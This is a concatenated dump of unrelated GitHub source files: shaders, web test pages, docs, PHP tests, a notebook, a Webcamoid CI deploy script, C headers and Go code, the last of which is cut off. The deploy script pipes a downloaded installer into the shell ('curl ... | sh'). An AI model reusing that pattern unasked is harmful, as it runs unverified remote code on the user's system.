text
stringlengths
2
97.5k
meta
dict
#include "common.h" struct vf { float2 tc0 : TEXCOORD0; float3 c0 : COLOR0; // c0=all lighting float fog : FOG; float4 hpos : SV_Position; }; /* struct v_vert { float4 P : POSITION; // (float,float,float,1) float4 N : NORMAL; // (nx,ny,nz,hemi occlusion) float4 T : TANGENT; float4 B : BINORMAL; float4 color : COLOR0; // (r,g,b,dir-occlusion) float2 uv : TEXCOORD0; // (u0,v0) }; struct v_static { float4 P : POSITION; // (float,float,float,1) float4 Nh : NORMAL; // (nx,ny,nz,hemi occlusion) float4 T : TANGENT; // tangent float4 B : BINORMAL; // binormal float2 tc : TEXCOORD0; // (u,v) float2 lmh : TEXCOORD1; // (lmu,lmv) #if defined(USE_R2_STATIC_SUN) && !defined(USE_LM_HEMI) float4 color : COLOR0; // (r,g,b,dir-occlusion) #endif }; */ vf main (v_static_color v) { vf o; float3 N = unpack_normal (v.Nh); o.hpos = mul (m_VP, v.P); // xform, input in world coords o.tc0 = unpack_tc_base (v.tc,v.T.w,v.B.w); // copy tc // o.tc0 = unpack_tc_base (v.tc); // copy tc float3 L_rgb = v.color.zyx; // precalculated RGB lighting float3 L_hemi = v_hemi(N)*v.Nh.w; // hemisphere float3 L_sun = v_sun(N)*v.color.w; // sun float3 L_final = L_rgb + L_hemi + L_sun + L_ambient; o.c0 = L_final; o.fog = saturate(calc_fogging (v.P)); // fog, input in world coords return o; }
{ "pile_set_name": "Github" }
module.exports = { patterns: [ { "name": "red flashes", "patternstr": "3,#ff0000,0.5,0,#000000,0.5" }, { "name": "green flashes", "patternstr": "3,#00ff00,0.5,0,#000000,0.5" }, { "name": "white flashes", "patternstr": "3,#ffffff,0.5,0,#000000,0.5" }, { "name": "purple flashes", "patternstr": "3,#ff00ff,0.5,0,#000000,0.5" } ] };
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <html lang="en"> <head> <title>AudioSprite Multi - boombox.js</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0,user-scalable=no"> <link rel="stylesheet" href="../node_modules/mocha/mocha.css"/> <style type="text/css"> #nav { font-size: 12px; } #__temp__ { font-size: 12px; } </style> <script> </script> </head> <body> <div id="spec"></div> <div id="nav"> </div> <div id="mocha"></div> <hr> <div id="w"> </div> <hr /> <div id="info"> <h2>Infomation</h2> </div> <script src="http://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.5.2/underscore-min.js"></script> <script src="http://cdnjs.cloudflare.com/ajax/libs/zepto/1.1.2/zepto.min.js"></script> <script src="../node_modules/mocha/mocha.js"></script> <script src="../node_modules/chai/chai.js"></script> <script src="../boombox.js"></script> <script src="./sprite-multi.js"></script> </body> </html>
{ "pile_set_name": "Github" }
// Module included in the following assemblies: // // assembly-getting-started.adoc // assembly-getting-started-rh.adoc // assembly-managing-users.adoc [id='proc-creating-users-cli-{context}'] = Creating users using the command line In {ProductName} users can be created using standard command-line tools. .Prerequisites ifdef::Prereqs[] * You must have already created an link:{BookUrlBase}{BaseProductVersion}{BookNameUrl}#create-address-space-cli-messaging-gs[address space]. endif::Prereqs[] ifndef::Prereqs[] * You must have already created an link:{BookUrlBase}{BaseProductVersion}{BookNameUrl}#create-address-space-cli-messaging[address space]. endif::Prereqs[] .Procedure . To correctly base64 encode a password for the user definition file, run the following command: + [options="nowrap",subs="attributes,+quotes"] ---- echo -n password | base64 #cGFzc3dvcmQ= ---- + NOTE: Be sure to use the `-n` parameter when running this command. Not specifying that parameter will result in an improperly coded password and cause log-in issues. . Save the user definition to a file: + [source,yaml,options="nowrap"] ---- include::../common/user-example1.yaml[] ---- . Create the user and associated user permissions: + [options="nowrap",subs="attributes,+quotes"] ---- {cmdcli} create -f __user-example1.yaml__ ---- . Confirm that the user was created: + [options="nowrap",subs="attributes,+quotes"] ---- {cmdcli} get messagingusers ----
{ "pile_set_name": "Github" }
<?php /* * This file is part of the Ivory CKEditor package. * * (c) Eric GELOEN <geloen.eric@gmail.com> * * For the full copyright and license information, please read the LICENSE * file that was distributed with this source code. */ namespace Ivory\CKEditorBundle\Tests\Model; use Ivory\CKEditorBundle\Model\ConfigManager; use Ivory\CKEditorBundle\Tests\AbstractTestCase; /** * @author GeLo <geloen.eric@gmail.com> */ class ConfigManagerTest extends AbstractTestCase { /** * @var ConfigManager */ private $configManager; /** * {@inheritdoc} */ protected function setUp() { $this->configManager = new ConfigManager(); } public function testDefaultState() { $this->assertNull($this->configManager->getDefaultConfig()); $this->assertFalse($this->configManager->hasConfigs()); $this->assertSame([], $this->configManager->getConfigs()); } public function testInitialState() { $configs = [ 'foo' => ['foo'], 'bar' => ['bar'], ]; $this->configManager = new ConfigManager($configs, 'foo'); $this->assertSame('foo', $this->configManager->getDefaultConfig()); $this->assertTrue($this->configManager->hasConfigs()); $this->assertSame($configs, $this->configManager->getConfigs()); } public function testSetConfig() { $this->configManager->setConfig('foo', ['foo' => 'bar']); $this->configManager->setConfig('foo', $config = ['foo' => 'baz']); $this->assertSame($config, $this->configManager->getConfig('foo')); } public function testMergeConfig() { $this->configManager->setConfig('foo', $config1 = ['foo' => 'bar', 'bar' => 'foo']); $this->configManager->mergeConfig('foo', $config2 = ['foo' => 'baz']); $this->assertSame(array_merge($config1, $config2), $this->configManager->getConfig('foo')); } public function testDefaultConfig() { $this->configManager->setConfig('foo', ['foo' => 'bar']); $this->configManager->setDefaultConfig($default = 'foo'); $this->assertSame($default, $this->configManager->getDefaultConfig()); } /** * @expectedException \Ivory\CKEditorBundle\Exception\ConfigManagerException * @expectedExceptionMessage The CKEditor config "foo" does not exist. */ public function testDefaultConfigWithInvalidValue() { $this->configManager->setDefaultConfig('foo'); } /** * @expectedException \Ivory\CKEditorBundle\Exception\ConfigManagerException * @expectedExceptionMessage The CKEditor config "foo" does not exist. */ public function testGetConfigWithInvalidName() { $this->configManager->getConfig('foo'); } /** * @expectedException \Ivory\CKEditorBundle\Exception\ConfigManagerException * @expectedExceptionMessage The CKEditor config "foo" does not exist. */ public function testMergeConfigWithInvalidName() { $this->configManager->mergeConfig('foo', ['foo' => 'bar']); } }
{ "pile_set_name": "Github" }
(function() { var a = 1; with (b) { a, 2, 3; // 'i' should remain } }());
{ "pile_set_name": "Github" }
const EventEmitter = require('events'); class SchnackEventEmitter extends EventEmitter {} module.exports = new SchnackEventEmitter();
{ "pile_set_name": "Github" }
{ "cells": [ { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# \"\"\"Customizing axes style\n", "# (30 control parameters)\"\"\"\n", "# # check out parameters usage at:\n", "# #\n", "# from vedo import *\n", "# embedWindow('2d')\n", "\n", "# box = Box(pos=(2.4,0,0), length=12, width=10, height=8).alpha(0)\n", "\n", "# vp = Plotter(bg='white',\n", "# axes={\n", "# 'xtitle':'Some long variable description [a.u.]',\n", "# 'ytitle':'This is my \\ncustomized y-axis',\n", "# 'ztitle':'z values go here!',\n", "# 'yPositionsAndLabels': [(-3.2,'Mark'), (-1.2,'Antony'), (3,'John')],\n", "# 'numberOfDivisions':5, # approx number of divisions on longest axis\n", "# 'axesLineWidth': 2,\n", "# 'gridLineWidth': 1,\n", "# 'reorientShortTitle':True,\n", "# 'xKeepAspectRatio':True,\n", "# 'xOriginMarkerSize':0.02,\n", "# 'yOriginMarkerSize':None,\n", "# 'titleDepth':0, # extrusion fractional depth of title text\n", "# 'xyGrid':True, # show a gridded wall on plane xy\n", "# 'yzGrid':True,\n", "# 'zxGrid':False,\n", "# 'zxGrid2':True, # show zx plane on opposite side of the bounding box\n", "# 'xyPlaneColor':'green',\n", "# 'xyGridColor':'darkgreen', # line color\n", "# 'xyAlpha':0.2, # plane opacity\n", "# 'showTicks':True, # show major ticks\n", "# 'xTitlePosition': 0.5, # title fractional positions along axis\n", "# 'xTitleOffset':0.02, # title fractional offset distance from axis line\n", "# 'xTitleJustify':\"top-center\",\n", "# 'xTitleRotation':20,\n", "# 'xLineColor':'black',\n", "# 'zLineColor':'blue',\n", "# 'zTitleColor':'blue',\n", "# 'zTitleBackfaceColor':'red', # color of axis title on the backface\n", "# 'zTitleSize':0.05,\n", "# 'xHighlightZero':True, # draw a line highlighting zero position if in range\n", "# 'xHighlightZeroColor':'tomato',\n", "# 'xTickRadius':0.005,\n", "# 'xTickThickness':0.0025,\n", "# 'xTickColor':'black',\n", "# 'xMinorTicks':3, # number of minor ticks btw two major ticks\n", "# 'tipSize':0.01, # size of the arrow tip cone\n", "# 'xLabelSize':0.02, # size of the numeric labels along axis\n", "# 'xLabelOffset': -0.05, # offset of numeric labels\n", "# })\n", "\n", "# vp.show(box, viewup='z')\n", "\n", "from vedo import *\n", "embedWindow('2d')\n", "\n", "#an invisible box:\n", "box = Box(pos=(2.4,0,0), length=12, width=10, height=8).alpha(0)\n", "\n", "# make a dictionary of axes options\n", "axes_opts = dict(\n", " xtitle='Some long variable description [a.u.]',\n", " ytitle='This is my \\ncustomized y-axis',\n", " ztitle='z values go here!',\n", " yPositionsAndLabels= [(-3.2,'Mark'), (-1.2,'Antony'), (3,'John')],\n", " numberOfDivisions=5, # approx number of divisions on longest axis\n", " axesLineWidth= 2,\n", " gridLineWidth= 1,\n", " reorientShortTitle=True,\n", " xOriginMarkerSize=0.02,\n", " yOriginMarkerSize=None,\n", " titleDepth=0, # extrusion fractional depth of title text\n", " xyGrid=True, # show a gridded wall on plane xy\n", " yzGrid=True,\n", " zxGrid=False,\n", " zxGrid2=True, # show zx plane on opposite side of the bounding box\n", " xyPlaneColor='green',\n", " xyGridColor='darkgreen', # line color\n", " xyAlpha=0.2, # plane opacity\n", " showTicks=True, # show major ticks\n", " xTitlePosition= 0.5, # title fractional positions along axis\n", " xTitleOffset=0.02, # title fractional offset distance from axis line\n", " xTitleJustify=\"top-center\",\n", " xTitleRotation=20,\n", " xLineColor='black',\n", " zLineColor='blue',\n", " zTitleColor='blue',\n", " zTitleBackfaceColor='red', # color of axis title on the backface\n", " zTitleSize=0.05,\n", " xHighlightZero=True, # draw a line highlighting zero position if in range\n", " xHighlightZeroColor='tomato',\n", " xTickLength=0.015,\n", " xTickThickness=0.0025,\n", " xTickColor='black',\n", " xMinorTicks=3, # number of minor ticks btw two major ticks\n", " tipSize=0.01, # size of the arrow tip cone\n", " xLabelSize=0.02, # size of the numeric labels along axis\n", " xLabelOffset= -0.05, # offset of numeric labels\n", ")\n", "\n", "show(box, axes=axes_opts, viewup='z')" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.3" } }, "nbformat": 4, "nbformat_minor": 2 }
{ "pile_set_name": "Github" }
#!/bin/bash # Webcamoid, webcam capture application. # Copyright (C) 2017 Gonzalo Exequiel Pedone # # Webcamoid is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Webcamoid is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Webcamoid. If not, see <http://www.gnu.org/licenses/>. # # Web-Site: http://webcamoid.github.io/ if [ ! -z "${USE_WGET}" ]; then export DOWNLOAD_CMD="wget -nv -c" else export DOWNLOAD_CMD="curl --retry 10 -sS -kLOC -" fi if [[ ( ! -z "$DAILY_BUILD" || ! -z "$RELEASE_BUILD" ) && "$TRAVIS_BRANCH" == "master" ]]; then if [ -z "$DAILY_BUILD" ]; then VER_MAJ=$(grep -re '^VER_MAJ[[:space:]]*=[[:space:]]*' commons.pri | awk '{print $3}') VER_MIN=$(grep -re '^VER_MIN[[:space:]]*=[[:space:]]*' commons.pri | awk '{print $3}') VER_PAT=$(grep -re '^VER_PAT[[:space:]]*=[[:space:]]*' commons.pri | awk '{print $3}') version=$VER_MAJ.$VER_MIN.$VER_PAT publish=false else version=daily publish=true fi # Upload to Bintray curl -fL https://getcli.jfrog.io | sh ./jfrog bt config \ --user=hipersayanx \ --key=$BT_KEY \ --licenses=GPL-3.0-or-later path=ports/deploy/packages_auto for f in $(find $path -type f); do packagePath=${f#$path/} folder=$(dirname $packagePath) ./jfrog bt upload \ --user=hipersayanx \ --key=$BT_KEY \ --override=true \ --publish=$publish \ $f \ webcamoid/webcamoid/webcamoid/$version \ $folder/ done # Upload to Github Releases upload=false if [[ ! -z "$DAILY_BUILD" && "$TRAVIS_BRANCH" == master && "$upload" == true ]]; then hub='' if [ "${TRAVIS_OS_NAME}" = linux ]; then hub=hub-linux-amd64-${GITHUB_HUBVER} else hub=hub-darwin-amd64-${GITHUB_HUBVER} fi cd ${TRAVIS_BUILD_DIR} ${DOWNLOAD_CMD} https://github.com/github/hub/releases/download/v${GITHUB_HUBVER}/${hub}.tgz || true tar xzf ${hub}.tgz mkdir -p .local cp -rf ${hub}/* .local/ export PATH="${PWD}/.local/bin:${PATH}" hubTag=$(hub release -df '%T %t%n' | grep 'Daily Build' | awk '{print $1}' | sed 's/.*://') if [ -z "$hubTag" ]; then hub release create -p -m 'Daily Build' daily hubTag=$(hub release -df '%T %t%n' | grep 'Daily Build' | awk '{print $1}' | sed 's/.*://') fi if [ ! -z "$hubTag" ]; then path=ports/deploy/packages_auto for f in $(find $path -type f); do hubTag=$(hub release -df '%T %t%n' | grep 'Daily Build' | awk '{print $1}' | sed 's/.*://') hub release edit -m 'Daily Build' -a "$f" "$hubTag" done fi fi fi
{ "pile_set_name": "Github" }
Subject: tiff stream interface (contrib) Date: Thu, 30 Mar 2000 10:48:51 -0800 From: "Avi Bleiweiss" <avi@shutterfly.com> To: <warmerda@home.com>, <mike@onshore.com> Here at Shutterfly we have augmented the file based tiff library to support C++ streams. The implementation is an adaptor class, which takes any C++ stream from the user and in return it deposits i/o operation method pointers (e.g. read, write, seek and close) into the tiff's library client state. The class TiffStream has an overloaded factory method - makeFileStream - which takes the C++ stream as an argument, calls TIFFClientOpen and returns a tiff handle. The class retains the tiff handle in its local state and provides a helper function (getTiffHandle) to query the handle at any time. Additional helper method - getStreamSize - provides the stream size to the user. The implementation assumes client responsibility to delete the stream object. The class calls TIFFClose at destruction time. Attached are a definition (tiffstream.h) and an implementation (tiffstream.cpp) files of the TiffStream class. No changes are required to the tiff core piece and the class sits on top of the library. The code is fairly tested at this point and is used internally in Shutterfly imaging software. The code is portable across WindowsNT/Linux/Solaris. We at Shutterfly believe this software has benefits to the larger community of tiff library users and would like to contribute this software to be part of the tiff distributed package. Let me know of any issue. Thanks Avi
{ "pile_set_name": "Github" }
/* * Copyright (c) 2003 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* * Copyright (C) Apple Computer 1998 * ALL Rights Reserved */ /* * This file represents the interfaces that used to come * from creating the user headers from the mach.defs file. * Because mach.defs was decomposed, this file now just * wraps up all the new interface headers generated from * each of the new .defs resulting from that decomposition. */ #ifndef _MACH_INTERFACE_H_ #define _MACH_INTERFACE_H_ #include <mach/clock_priv.h> #include <mach/host_priv.h> #include <mach/host_security.h> #include <mach/lock_set.h> #include <mach/processor.h> #include <mach/processor_set.h> #include <mach/semaphore.h> #include <mach/task.h> #include <mach/thread_act.h> #include <mach/vm_map.h> #endif /* _MACH_INTERFACE_H_ */
{ "pile_set_name": "Github" }
// Go support for Protocol Buffers - Google's data interchange format // // Copyright 2017 The Go Authors. All rights reserved. // https://github.com/golang/protobuf // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. package proto import ( "fmt" "reflect" "strings" "sync" "sync/atomic" ) type generatedDiscarder interface { XXX_DiscardUnknown() } // DiscardUnknown recursively discards all unknown fields from this message // and all embedded messages. // // When unmarshaling a message with unrecognized fields, the tags and values // of such fields are preserved in the Message. This allows a later call to // marshal to be able to produce a message that continues to have those // unrecognized fields. To avoid this, DiscardUnknown is used to // explicitly clear the unknown fields after unmarshaling. // // For proto2 messages, the unknown fields of message extensions are only // discarded from messages that have been accessed via GetExtension. func DiscardUnknown(m Message) { if m, ok := m.(generatedDiscarder); ok { m.XXX_DiscardUnknown() return } // TODO: Dynamically populate a InternalMessageInfo for legacy messages, // but the master branch has no implementation for InternalMessageInfo, // so it would be more work to replicate that approach. discardLegacy(m) } // DiscardUnknown recursively discards all unknown fields. func (a *InternalMessageInfo) DiscardUnknown(m Message) { di := atomicLoadDiscardInfo(&a.discard) if di == nil { di = getDiscardInfo(reflect.TypeOf(m).Elem()) atomicStoreDiscardInfo(&a.discard, di) } di.discard(toPointer(&m)) } type discardInfo struct { typ reflect.Type initialized int32 // 0: only typ is valid, 1: everything is valid lock sync.Mutex fields []discardFieldInfo unrecognized field } type discardFieldInfo struct { field field // Offset of field, guaranteed to be valid discard func(src pointer) } var ( discardInfoMap = map[reflect.Type]*discardInfo{} discardInfoLock sync.Mutex ) func getDiscardInfo(t reflect.Type) *discardInfo { discardInfoLock.Lock() defer discardInfoLock.Unlock() di := discardInfoMap[t] if di == nil { di = &discardInfo{typ: t} discardInfoMap[t] = di } return di } func (di *discardInfo) discard(src pointer) { if src.isNil() { return // Nothing to do. } if atomic.LoadInt32(&di.initialized) == 0 { di.computeDiscardInfo() } for _, fi := range di.fields { sfp := src.offset(fi.field) fi.discard(sfp) } // For proto2 messages, only discard unknown fields in message extensions // that have been accessed via GetExtension. if em, err := extendable(src.asPointerTo(di.typ).Interface()); err == nil { // Ignore lock since DiscardUnknown is not concurrency safe. emm, _ := em.extensionsRead() for _, mx := range emm { if m, ok := mx.value.(Message); ok { DiscardUnknown(m) } } } if di.unrecognized.IsValid() { *src.offset(di.unrecognized).toBytes() = nil } } func (di *discardInfo) computeDiscardInfo() { di.lock.Lock() defer di.lock.Unlock() if di.initialized != 0 { return } t := di.typ n := t.NumField() for i := 0; i < n; i++ { f := t.Field(i) if strings.HasPrefix(f.Name, "XXX_") { continue } dfi := discardFieldInfo{field: toField(&f)} tf := f.Type // Unwrap tf to get its most basic type. var isPointer, isSlice bool if tf.Kind() == reflect.Slice && tf.Elem().Kind() != reflect.Uint8 { isSlice = true tf = tf.Elem() } if tf.Kind() == reflect.Ptr { isPointer = true tf = tf.Elem() } if isPointer && isSlice && tf.Kind() != reflect.Struct { panic(fmt.Sprintf("%v.%s cannot be a slice of pointers to primitive types", t, f.Name)) } switch tf.Kind() { case reflect.Struct: switch { case !isPointer: panic(fmt.Sprintf("%v.%s cannot be a direct struct value", t, f.Name)) case isSlice: // E.g., []*pb.T di := getDiscardInfo(tf) dfi.discard = func(src pointer) { sps := src.getPointerSlice() for _, sp := range sps { if !sp.isNil() { di.discard(sp) } } } default: // E.g., *pb.T di := getDiscardInfo(tf) dfi.discard = func(src pointer) { sp := src.getPointer() if !sp.isNil() { di.discard(sp) } } } case reflect.Map: switch { case isPointer || isSlice: panic(fmt.Sprintf("%v.%s cannot be a pointer to a map or a slice of map values", t, f.Name)) default: // E.g., map[K]V if tf.Elem().Kind() == reflect.Ptr { // Proto struct (e.g., *T) dfi.discard = func(src pointer) { sm := src.asPointerTo(tf).Elem() if sm.Len() == 0 { return } for _, key := range sm.MapKeys() { val := sm.MapIndex(key) DiscardUnknown(val.Interface().(Message)) } } } else { dfi.discard = func(pointer) {} // Noop } } case reflect.Interface: // Must be oneof field. switch { case isPointer || isSlice: panic(fmt.Sprintf("%v.%s cannot be a pointer to a interface or a slice of interface values", t, f.Name)) default: // E.g., interface{} // TODO: Make this faster? dfi.discard = func(src pointer) { su := src.asPointerTo(tf).Elem() if !su.IsNil() { sv := su.Elem().Elem().Field(0) if sv.Kind() == reflect.Ptr && sv.IsNil() { return } switch sv.Type().Kind() { case reflect.Ptr: // Proto struct (e.g., *T) DiscardUnknown(sv.Interface().(Message)) } } } } default: continue } di.fields = append(di.fields, dfi) } di.unrecognized = invalidField if f, ok := t.FieldByName("XXX_unrecognized"); ok { if f.Type != reflect.TypeOf([]byte{}) { panic("expected XXX_unrecognized to be of type []byte") } di.unrecognized = toField(&f) } atomic.StoreInt32(&di.initialized, 1) } func discardLegacy(m Message) { v := reflect.ValueOf(m) if v.Kind() != reflect.Ptr || v.IsNil() { return } v = v.Elem() if v.Kind() != reflect.Struct { return } t := v.Type() for i := 0; i < v.NumField(); i++ { f := t.Field(i) if strings.HasPrefix(f.Name, "XXX_") { continue } vf := v.Field(i) tf := f.Type // Unwrap tf to get its most basic type. var isPointer, isSlice bool if tf.Kind() == reflect.Slice && tf.Elem().Kind() != reflect.Uint8 { isSlice = true tf = tf.Elem() } if tf.Kind() == reflect.Ptr { isPointer = true tf = tf.Elem() } if isPointer && isSlice && tf.Kind() != reflect.Struct { panic(fmt.Sprintf("%T.%s cannot be a slice of pointers to primitive types", m, f.Name)) } switch tf.Kind() { case reflect.Struct: switch { case !isPointer: panic(fmt.Sprintf("%T.%s cannot be a direct struct value", m, f.Name)) case isSlice: // E.g., []*pb.T for j := 0; j < vf.Len(); j++ { discardLegacy(vf.Index(j).Interface().(Message)) } default: // E.g., *pb.T discardLegacy(vf.Interface().(Message)) } case reflect.Map: switch { case isPointer || isSlice: panic(fmt.Sprintf("%T.%s cannot be a pointer to a map or a slice of map values", m, f.Name)) default: // E.g., map[K]V tv := vf.Type().Elem() if tv.Kind() == reflect.Ptr && tv.Implements(protoMessageType) { // Proto struct (e.g., *T) for _, key := range vf.MapKeys() { val := vf.MapIndex(key) discardLegacy(val.Interface().(Message)) } } } case reflect.Interface: // Must be oneof field. switch { case isPointer || isSlice: panic(fmt.Sprintf("%T.%s cannot be a pointer to a interface or a slice of interface values", m, f.Name)) default: // E.g., test_proto.isCommunique_Union interface if !vf.IsNil() && f.Tag.Get("protobuf_oneof") != "" { vf = vf.Elem() // E.g., *test_proto.Communique_Msg if !vf.IsNil() { vf = vf.Elem() // E.g., test_proto.Communique_Msg vf = vf.Field(0) // E.g., Proto struct (e.g., *T) or primitive value if vf.Kind() == reflect.Ptr { discardLegacy(vf.Interface().(Message)) } } } } } } if vf := v.FieldByName("XXX_unrecognized"); vf.IsValid() { if vf.Type() != reflect.TypeOf([]byte{}) { panic("expected XXX_unrecognized to be of type []byte") } vf.Set(reflect.ValueOf([]byte(nil))) } // For proto2 messages, only discard unknown fields in message extensions // that have been accessed via GetExtension. if em, err := extendable(m); err == nil { // Ignore lock since discardLegacy is not concurrency safe. emm, _ := em.extensionsRead() for _, mx := range emm { if m, ok := mx.value.(Message); ok { discardLegacy(m) } } } }
{ "pile_set_name": "Github" }
// Copyright 2020 tsuru authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package mongodb import ( "context" "fmt" "strconv" "strings" "time" "github.com/globalsign/mgo" "github.com/globalsign/mgo/bson" uuid "github.com/nu7hatch/gouuid" "github.com/pkg/errors" "github.com/tsuru/config" "github.com/tsuru/tsuru/app/image" "github.com/tsuru/tsuru/db" "github.com/tsuru/tsuru/db/storage" appTypes "github.com/tsuru/tsuru/types/app" ) const ( defaultLegacyCollectionPrefix = "docker" appVersionsCollectionName = "app_versions" ) type legacyImageMetadata struct { Name string `bson:"_id"` CustomData map[string]interface{} LegacyProcesses map[string]string `bson:"processes"` Processes map[string][]string `bson:"processes_list"` ExposedPorts []string DisableRollback bool Reason string } type appVersionStorage struct{} func (s *appVersionStorage) collection() (*storage.Collection, error) { conn, err := db.Conn() if err != nil { return nil, err } coll := conn.Collection(appVersionsCollectionName) err = coll.EnsureIndex(mgo.Index{ Key: []string{"appname"}, Unique: true, }) return coll, err } func (s *appVersionStorage) legacyBuilderImagesCollection() (*storage.Collection, error) { conn, err := db.Conn() if err != nil { return nil, err } return conn.Collection("builder_app_image"), nil } func (s *appVersionStorage) legacyImagesCollection() (*storage.Collection, error) { conn, err := db.Conn() if err != nil { return nil, err } name, err := config.GetString("docker:collection") if err != nil { name = defaultLegacyCollectionPrefix } return conn.Collection(fmt.Sprintf("%s_app_image", name)), nil } func (s *appVersionStorage) legacyCustomDataCollection() (*storage.Collection, error) { conn, err := db.Conn() if err != nil { return nil, err } name, err := config.GetString("docker:collection") if err != nil { name = defaultLegacyCollectionPrefix } return conn.Collection(fmt.Sprintf("%s_image_custom_data", name)), nil } type appImages struct { AppName string `bson:"_id"` Images []string Count int } func (s *appVersionStorage) legacyImagesData(appName string) (appImages, error) { coll, err := s.legacyImagesCollection() if err != nil { return appImages{}, err } defer coll.Close() var imageData appImages err = coll.Find(bson.M{"_id": appName}).One(&imageData) return imageData, err } func (s *appVersionStorage) legacyBuildImages(appName string) ([]string, error) { coll, err := s.legacyBuilderImagesCollection() if err != nil { return nil, err } defer coll.Close() var imageData appImages err = coll.Find(bson.M{"_id": appName}).One(&imageData) return imageData.Images, err } func (s *appVersionStorage) UpdateVersion(ctx context.Context, appName string, vi *appTypes.AppVersionInfo, opts ...*appTypes.AppVersionWriteOptions) error { now := time.Now().UTC() uuidV4, err := uuid.NewV4() if err != nil { errors.WithMessage(err, "failed to generate uuid v4") } vi.UpdatedAt = now return s.baseUpdate(ctx, appName, bson.M{ "$set": bson.M{ fmt.Sprintf("versions.%d", vi.Version): vi, "updatedat": now, "updatedhash": uuidV4.String(), }, }, opts...) } func (s *appVersionStorage) UpdateVersionSuccess(ctx context.Context, appName string, vi *appTypes.AppVersionInfo, opts ...*appTypes.AppVersionWriteOptions) error { now := time.Now().UTC() vi.UpdatedAt = now uuidV4, err := uuid.NewV4() if err != nil { errors.WithMessage(err, "failed to generate uuid v4") } return s.baseUpdate(ctx, appName, bson.M{ "$set": bson.M{ "lastsuccessfulversion": vi.Version, "updatedat": now, "updatedhash": uuidV4.String(), fmt.Sprintf("versions.%d", vi.Version): vi, }, }, opts...) } func (s *appVersionStorage) baseUpdate(ctx context.Context, appName string, updateQuery bson.M, opts ...*appTypes.AppVersionWriteOptions) error { where := bson.M{"appname": appName} // when receive a PreviousUpdatedHash will perform a optimistic update if len(opts) > 0 && opts[0].PreviousUpdatedHash != "" { where["updatedhash"] = opts[0].PreviousUpdatedHash } return s.baseUpdateWhere(ctx, where, updateQuery) } func (s *appVersionStorage) baseUpdateWhere(ctx context.Context, where, updateQuery bson.M) error { span := newMongoDBSpan(ctx, mongoSpanUpdate, appVersionsCollectionName) span.SetQueryStatement(where) defer span.Finish() coll, err := s.collection() if err != nil { return err } defer coll.Close() err = coll.Update(where, updateQuery) if err == mgo.ErrNotFound { if _, exists := where["updatedhash"]; exists { err = appTypes.ErrTransactionCancelledByChange span.SetError(err) return err } err = appTypes.ErrNoVersionsAvailable span.SetError(err) return err } return err } func (s *appVersionStorage) NewAppVersion(ctx context.Context, args appTypes.NewVersionArgs) (*appTypes.AppVersionInfo, error) { appVersions, err := s.AppVersions(ctx, args.App) if err != nil && err != appTypes.ErrNoVersionsAvailable { return nil, err } currentCount := appVersions.Count + 1 now := time.Now().UTC() uuidV4, err := uuid.NewV4() if err != nil { return nil, errors.WithMessage(err, "failed to generate uuid v4") } appVersionInfo := appTypes.AppVersionInfo{ Description: args.Description, Version: currentCount, EventID: args.EventID, CustomBuildTag: args.CustomBuildTag, CreatedAt: now, UpdatedAt: now, } query := bson.M{"appname": args.App.GetName()} span := newMongoDBSpan(ctx, mongoSpanUpsert, 